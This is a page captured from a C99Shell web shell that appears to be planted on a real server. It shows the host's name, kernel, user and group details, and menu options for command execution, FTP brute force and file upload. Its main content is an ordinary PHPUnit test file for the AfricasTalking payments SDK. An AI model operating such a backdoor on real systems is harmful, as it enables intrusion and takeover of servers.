!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/africastalking/africastalking/tests/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaymentsTest.php (8.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace AfricasTalking\SDK\Tests;

use 
AfricasTalking\SDK\AfricasTalking;
use 
AfricasTalking\SDK\Payments;
use 
GuzzleHttp\Exception\GuzzleException;

class 
PaymentsTest extends \PHPUnit\Framework\TestCase
{
    public function 
setUp(): void
    
{
        
$this->username Fixtures::$username;
        
$this->apiKey     Fixtures::$apiKey;

        
$at             = new AfricasTalking($this->username$this->apiKey);

        
$this->client     $at->payments();
    }

    public function 
testCardCheckoutCharge()
    {
        
$response $this->client->cardCheckoutCharge([
            
'productName' => Fixtures::$productName,
            
'paymentCard' => Fixtures::$paymentCard,
            
'currencyCode' => Fixtures::$currencyCode2,
            
'amount' => rand(10008000),
            
'narration' => Fixtures::$narration,
            
'metadata' => Fixtures::$metadata
        
]);

        
$this->assertEquals('success'$response['status']);
    }

    public function 
testCardCheckoutChargeIdempotency()
    {
        
$response $this->client->cardCheckoutCharge([
            
'productName' => Fixtures::$productName,
            
'paymentCard' => Fixtures::$paymentCard,
            
'currencyCode' => Fixtures::$currencyCode2,
            
'amount' => rand(10008000),
            
'narration' => Fixtures::$narration,
            
'metadata' => Fixtures::$metadata
        
], [
            
'idempotencyKey' => 'req-' mt_rand(10100),
        ]);

        
$this->assertEquals('success'$response['status']);
    }

    public function 
testCardCheckoutValidate()
    {
        
$response $this->client->cardCheckoutValidate([
            
'transactionId' => Fixtures::$transactionId,
            
'otp' => Fixtures::$otp
        
]);

        
$this->assertArrayHasKey('status'$response);
    }

    public function 
testBankCheckoutCharge()
    {
        
$response $this->client->bankCheckoutCharge([
            
'productName' => Fixtures::$productName,
            
'bankAccount' => Fixtures::$bankAccount,
            
'currencyCode' => Fixtures::$currencyCode,
            
'amount' => rand(10002000),
            
'narration' => Fixtures::$narration,
            
'metadata' => Fixtures::$metadata
        
]);

        
$this->assertEquals('PendingValidation'$response['data']->status);
    }

    public function 
testBankCheckoutChargeIdempotency()
    {
        
$response $this->client->bankCheckoutCharge([
            
'productName' => Fixtures::$productName,
            
'bankAccount' => Fixtures::$bankAccount,
            
'currencyCode' => Fixtures::$currencyCode,
            
'amount' => rand(10002000),
            
'narration' => Fixtures::$narration,
            
'metadata' => Fixtures::$metadata
        
], [
            
'idempotencyKey' => 'req-' mt_rand(10100),
        ]);

        
$this->assertEquals('PendingValidation'$response['data']->status);
    }

    public function 
testBankCheckoutValidate()
    {
        
$response $this->client->bankCheckoutValidate([
            
'transactionId' => Fixtures::$transactionId,
            
'otp' => Fixtures::$otp
        
]);

        
$this->assertArrayHasKey('status'$response);
    }

    public function 
testBankTransfer()
    {
        
$response $this->client->bankTransfer([
            
'productName' => Fixtures::$productName,
            
'recipients' => [
                [
                    
'bankAccount' => Fixtures::$bankAccount,
                    
'currencyCode' => Fixtures::$currencyCode2,
                    
'amount' => rand(10005000),
                    
'narration' => Fixtures::$narration,
                    
'metadata' => ['notes'=> 'Some transfer metadata here']
                ]
            ]
        ]);

        
$this->assertEquals('Queued'$response['data']->entries[0]->status);
    }

    public function 
testBankTransferIdempotency()
    {
        
$response $this->client->bankTransfer([
            
'productName' => Fixtures::$productName,
            
'recipients' => [
                [
                    
'bankAccount' => Fixtures::$bankAccount,
                    
'currencyCode' => Fixtures::$currencyCode2,
                    
'amount' => rand(10005000),
                    
'narration' => Fixtures::$narration,
                    
'metadata' => ['notes'=> 'Some transfer metadata here']
                ]
            ]
        ], [
            
'idempotencyKey' => 'req-' mt_rand(10100),
        ]);

        
$this->assertEquals('Queued'$response['data']->entries[0]->status);
    }

    public function 
testMobileCheckout()
    {
        
$response $this->client->mobileCheckout([
            
'productName' => Fixtures::$productName,
            
'phoneNumber' => Fixtures::$phoneNumber,
            
'amount' => Fixtures::$amount,
            
'currencyCode' => Fixtures::$currencyCode
        
], [
            
'idempotencyKey' => 'req-' mt_rand(10100),
        ]);

        
$this->assertEquals('PendingConfirmation'$response['data']->status);
    }

    public function 
testMobileCheckoutIdempotency()
    {
        
$response $this->client->mobileCheckout([
            
'productName' => Fixtures::$productName,
            
'phoneNumber' => Fixtures::$phoneNumber,
            
'amount' => Fixtures::$amount,
            
'currencyCode' => Fixtures::$currencyCode
        
], [
            
'idempotencyKey' => 'req-' mt_rand(10100),
        ]);

        
$this->assertArrayHasKey('status'$response);
    }

    public function 
testMobileB2C()
    {
        
$response $this->client->mobileB2C([
            
'productName' => Fixtures::$productName,
            
'recipients' => Fixtures::$B2CRecipients,
        ], [
            
'idempotencyKey' => 'req-' mt_rand(10100),
        ]);

        
$this->assertEquals(1$response['data']->numQueued);
    }

    public function 
testMobileB2CIdempotency()
    {
        
$response $this->client->mobileB2C([
            
'productName' => Fixtures::$productName,
            
'recipients' => Fixtures::$B2CRecipients,
        ], [
            
'idempotencyKey' => 'req-' mt_rand(10100),
        ]);

        
$this->assertArrayHasKey('status'$response);
    }

    public function 
testMobileB2B()
    {
        
$response $this->client->mobileB2B([
            
'productName' => Fixtures::$productName,
            
'provider' => Payments::PROVIDER['ATHENA'],
            
'transferType' => Payments::TRANSFER_TYPE['B2B_TRANSFER'],
            
'currencyCode' => Fixtures::$currencyCode,
            
'amount' => Fixtures::$amount,
            
'destinationChannel' => Fixtures::$destinationChannel,
            
'destinationAccount' => Fixtures::$destinationAccount,
            
'metadata' => Fixtures::$metadata
        
], [
            
'idempotencyKey' => 'req-' mt_rand(10100),
        ]);

        
$this->assertArrayHasKey('status'$response);
    }

    public function 
testMobileB2BIdempotency()
    {
        
$response $this->client->mobileB2B([
            
'productName' => Fixtures::$productName,
            
'provider' => Payments::PROVIDER['ATHENA'],
            
'transferType' => Payments::TRANSFER_TYPE['B2B_TRANSFER'],
            
'currencyCode' => Fixtures::$currencyCode,
            
'amount' => Fixtures::$amount,
            
'destinationChannel' => Fixtures::$destinationChannel,
            
'destinationAccount' => Fixtures::$destinationAccount,
            
'metadata' => Fixtures::$metadata
        
], [
            
'idempotencyKey' => 'req-' mt_rand(10100),
        ]);

        
$this->assertArrayHasKey('status'$response);
    }

    public function 
testMobileData()
    {
        
$response $this->client->mobileData([
            
'productName' => Fixtures::$productName,
            
'recipients'  => Fixtures::$MobileDataRecipients,
        ]);

        
$this->assertArrayHasKey('status'$response);
    }

    public function 
testWalletTransfer()
    {
        
$response $this->client->walletTransfer([
            
'productName' => Fixtures::$productName,
            
'provider' => Payments::PROVIDER['ATHENA'],
            
'targetProductCode' => Fixtures::$targetProductCode,
            
'currencyCode' => Fixtures::$currencyCode,
            
'amount' => Fixtures::$amount,
            
'metadata' => Fixtures::$metadata
        
]);

        
$this->assertEquals('Success'$response['data']->status);
    }

    public function 
testTopupStash()
    {
        
$response $this->client->topupStash([
            
'productName' => Fixtures::$productName,
            
'provider' => Payments::PROVIDER['ATHENA'],
            
'currencyCode' => Fixtures::$currencyCode,
            
'amount' => Fixtures::$amount,
            
'metadata' => Fixtures::$metadata
        
]);

        
$this->assertEquals('Success'$response['data']->status);
    }

    public function 
testFetchProductTransactions()
    {
        
$response $this->client->fetchProductTransactions([
            
'productName' => Fixtures::$productName,
            
'filters' => [
                
'pageNumber' => 1,
                
'count' => 10,
                
'startDate' => Fixtures::$startDate,
                
'endDate' => Fixtures::$endDate,
                
'category' => Fixtures::$paymentCategory,
                
'provider' => Fixtures::$paymentProvider,
                
'status' => 'Success',
                
'source' => Fixtures::$paymentSource,
                
'destination' => Fixtures::$paymentDestination,
                
'providerChannel' => Fixtures::$providerChannel
            
]
        ]);

        
$this->assertEquals('Success'$response['data']->status);
    }

    public function 
testFindTransaction()
    {
        
$response $this->client->findTransaction([
            
'transactionId' => Fixtures::$transactionId
        
]);

        
$this->assertEquals('Failure'$response['data']->status);
    }

    public function 
testFetchWalletTransactions()
    {
        
$response $this->client->fetchWalletTransactions([
            
'productName' => Fixtures::$productName,
            
'filters' => [
                
'pageNumber' => 1,
                
'count' => 10,
                
'startDate' => Fixtures::$startDate,
                
'endDate' => Fixtures::$endDate,
                
'categories' => Fixtures::$paymentCategories
            
]
        ]);

        
$this->assertArrayHasKey('status'$response);
    }

    public function 
testFetchWalletBalance()
    {
        
$response $this->client->fetchWalletBalance();

        
$this->assertEquals('Success'$response['data']->status);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--